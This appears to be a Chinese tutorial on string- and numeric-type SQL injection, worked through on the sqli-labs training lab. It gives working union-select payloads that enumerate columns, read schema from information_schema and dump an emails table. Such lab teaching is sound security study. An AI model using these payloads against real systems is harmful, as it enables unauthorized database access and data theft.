字符型注入:
原理:
执行数据库查询,并在回显点展示。
用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。
(与报错注入不同在拥有回显点,报错注入没有回显点需要通过错误信息查看结果)
注入方法:
根据报错的sql语句信息,查看sql语句样子,继而构造注入语句
构造单引号‘、双引号“、括号)闭合查询语句,直到报错证明注入点存在
地址栏输入#这类的要用16进制编码(网页传输方便的编码)
如:’#’ %23 注释
'- -'注释 一般用- -+即- - 即- -%20
(空格) %20
注入步骤:
(sqli-labs-master第一关演示)
找到注入点
单引号闭合,发生过报错—注入点存在,且观察报错语句是单引号闭合
作为对比观察一下用双引号,没有任何报错信息

- ps:为什么会报错呢:因为查询语句为(可以在sqli-labs-master安装目录下找到php源代码查看)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 用户正常输入合法的查询数据 即1 2 3的时候语句为
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
-
这时就会查询数据库并输出我们想要查询的信息
-
而当我们输入了单引号的时候,语句就会变成
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
- 这样就会产生错误,因为单数个的单引号使得查询语句不能闭合
- 而当成功闭合查询语句的单引号后如果加上注释符,语句就会变成
$sql="SELECT * FROM users WHERE id='1' #' LIMIT 0,1";
- 注释符后面的无用,可以忽略,因此语句变成
$sql="SELECT * FROM users WHERE id='1' #
- 而#之前的内容是我们可以输入的,于是就可以构造出
$sql="SELECT * FROM users WHERE id='1' order by 3#
- 这样的攻击语句 来获得数据库内部的信息,成功攻击
- 同理:
$sql="SELECT * FROM users WHERE id='' union select 1,2,3#
order by爆字段数
order by 3不报错证明有第三列

order by 4的时候报错,证明没有第四列

union select 1,2,3爆回显点
这里回显点为第2,3位

- ps:联合查询如果前面得到了结果就不会执行后面的了,所以要id=’ union select ……
- 让前面查询结果为空
于是:
union select 1,database(),version()%23 # 通过回显点查询需要信息

- information_schema库:mysql自带的库,内有所有数据库的所有信息
- 如:所有的表名tables和字段columns库名schemata
- 因此可以利用来获取表名和列名
' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema = database() %23 # 查出表名

- 获取多个数据只有一个显示位置用group_concat拼接,拼接,隔开,或者limit一条一条查询也行
继续:
' union select 1,group_concat(column_name),user() from information_schema.columns where table_name = ‘emails’ %23
获取列名

- where条件是字符串的话要加引号,且注意是英文引号
继续获取到表内内容
' union select 1,2,group_concat(email_id) from emails --+
成功获取到邮箱表内email_id列的内容
- 同理 获取邮箱表内id列的内容
' union select 1,2,group_concat(id) from emails --+
数字型注入
原理
同字符型注入
步骤
同字符型注入
不同:
sql语句不带’具体详见sql_lab less 1 和less 2 的区别,
因为数字可以不带’所以数字型报错注入的sql语句如:where id = 而不是where id =’’
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; # 数字
数字型注入不需要注释,也可以注释,因为注释只是为了注释掉我们闭合后剩余的’
本文详细介绍了SQL注入中的字符型和数字型注入原理、方法及步骤。字符型注入依赖于报错信息来构造payload,通过闭合查询语句和使用注释来获取数据。数字型注入则无需考虑单引号,直接利用数字进行注入。通过sqli-labs-master实验,展示了如何找到注入点、爆字段数和获取数据库信息。

1728

被折叠的 条评论
为什么被折叠?



